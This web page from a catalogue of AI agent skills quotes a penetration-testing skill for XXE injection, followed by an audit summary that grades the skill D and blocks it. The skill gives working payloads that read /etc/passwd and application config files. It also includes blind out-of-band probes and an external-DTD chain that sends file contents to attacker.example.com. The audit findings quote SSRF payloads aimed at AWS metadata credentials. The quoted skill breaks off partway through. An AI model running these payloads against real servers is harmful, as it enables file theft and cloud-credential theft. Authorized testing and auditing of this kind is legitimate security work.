Testing For Xxe Injection VulnerabilitiesBLOCK

817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains ·

The instruction file, verbatim from the audited commit — this is the text the model reads, and the surface the audit's instruction layer examines. Quoted here so you can judge it without cloning anything.

---
name: testing-for-xxe-injection-vulnerabilities
description: Discovering and exploiting XML External Entity injection vulnerabilities
  to read server files, perform SSRF, and exfiltrate data during authorized penetration
  tests.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- xxe
- xml-injection
- owasp
- web-security
- burpsuite
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
- T1048
---

# Testing for XXE Injection Vulnerabilities

## When to Use

- During authorized penetration tests when the application processes XML input (SOAP APIs, file uploads, RSS feeds)
- When testing APIs that accept `Content-Type: application/xml` or `text/xml`
- For assessing XML parsers in file upload functionality (DOCX, XLSX, SVG, PDF)
- When evaluating SOAP-based web services for entity injection
- During security assessments of enterprise applications using XML configuration

## Prerequisites

- **Authorization**: Written penetration testing agreement for the target
- **Burp Suite Professional**: For intercepting and modifying XML requests
- **XXEinjector**: Automated XXE exploitation tool (`git clone https://github.com/enjoiz/XXEinjector.git`)
- **Out-of-band server**: Burp Collaborator or interactsh for blind XXE detection
- **curl**: For manual payload crafting and submission
- **Python**: For building DTD hosting server

## Workflow

### Step 1: Identify XML Processing Points

Find all application endpoints that accept or process XML data.

```bash
# Look for XML content types in Burp proxy history
# Filter for: Content-Type: application/xml, text/xml, application/soap+xml

# Test if JSON endpoints also accept XML
# Original JSON request:
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"search":"test"}' \
  "https://target.example.com/api/search"

# Try converting to XML:
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><root><search>test</search></root>' \
  "https://target.example.com/api/search"

# Check file upload endpoints for XML-based formats
# DOCX, XLSX, PPTX, SVG, PDF, XML, RSS, ATOM, SOAP
# These all contain XML that may be parsed server-side

# Check for SOAP endpoints
curl -s -X POST \
  -H "Content-Type: text/xml" \
  -H "SOAPAction: \"\"" \
  -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><test/></soap:Body></soap:Envelope>' \
  "https://target.example.com/ws/service"
```

### Step 2: Test for Basic XXE with File Retrieval

Inject XML entities to read local files from the server.

```bash
# Basic XXE payload to read /etc/passwd
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Windows file read
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Read application configuration files
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///var/www/html/config.php">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# PHP filter wrapper for base64 encoding (avoids XML parsing errors)
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"
```

### Step 3: Test Blind XXE with Out-of-Band Detection

When the entity value is not reflected in the response, use out-of-band techniques.

```bash
# Blind XXE with HTTP callback (use Burp Collaborator or interactsh)
# Start interactsh: interactsh-client
# Use the generated domain: abc123.oast.fun

curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://abc123.oast.fun/xxe-test">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Check interactsh/Collaborator for incoming DNS or HTTP requests

# Blind XXE with DNS exfiltration
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://xxe-confirmed.abc123.oast.fun">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Blind XXE via parameter entities (when regular entities are blocked)
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://abc123.oast.fun/xxe-param">
  %xxe;
]>
<root><search>test</search></root>' \
  "https://target.example.com/api/search"
```

### Step 4: Exfiltrate Data via Out-of-Band XXE

Use external DTD to extract file contents through HTTP requests.

```bash
# Host a malicious DTD file on attacker server
# Create file: evil.dtd
cat > /tmp/evil.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.example.com/?data=%file;'>">
%eval;
%exfil;
EOF

# Host the DTD
cd /tmp && python3 -m http.server 8888 &

# Send the XXE payload referencing the external DTD
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % dtd SYSTEM "http://attacker.example.com:8888/evil.dtd">
  %dtd;
]>
<root><search>test</search></root>' \
  "https://target.example.com/api/search"

# For multi-line file ex

BLOCKgrade D · trust 69/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.

What the source does

Filesystem

none-observed

Network

declared (10 observation(s))

Shell

none-observed

Dependencies

pinned

Secrets in source

none-found

Findings (11)

<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">

- SSRF: Accessed AWS metadata at 169.254.169.254

resp = requests.post(url, headers=headers, data=xml_test, timeout=10, verify=False)

json={"search": "test"}, timeout=10, verify=False)

timeout=10, verify=False)

resp = requests.post(url, headers=headers, data=payload, timeout=15, verify=False)

resp = requests.post(url, headers=headers, files=files, timeout=15, verify=False)

<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">

-d "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://127.0.0.1:$port/\">]><root><search>&xxe;</search></root>" \

| AWS | `http://169.254.169.254/latest/meta-data/` | `ami-id` |

| AWS | `http://169.254.169.254/latest/meta-data/` | `ami-id` |

Gates applied: no_behavioural_pass.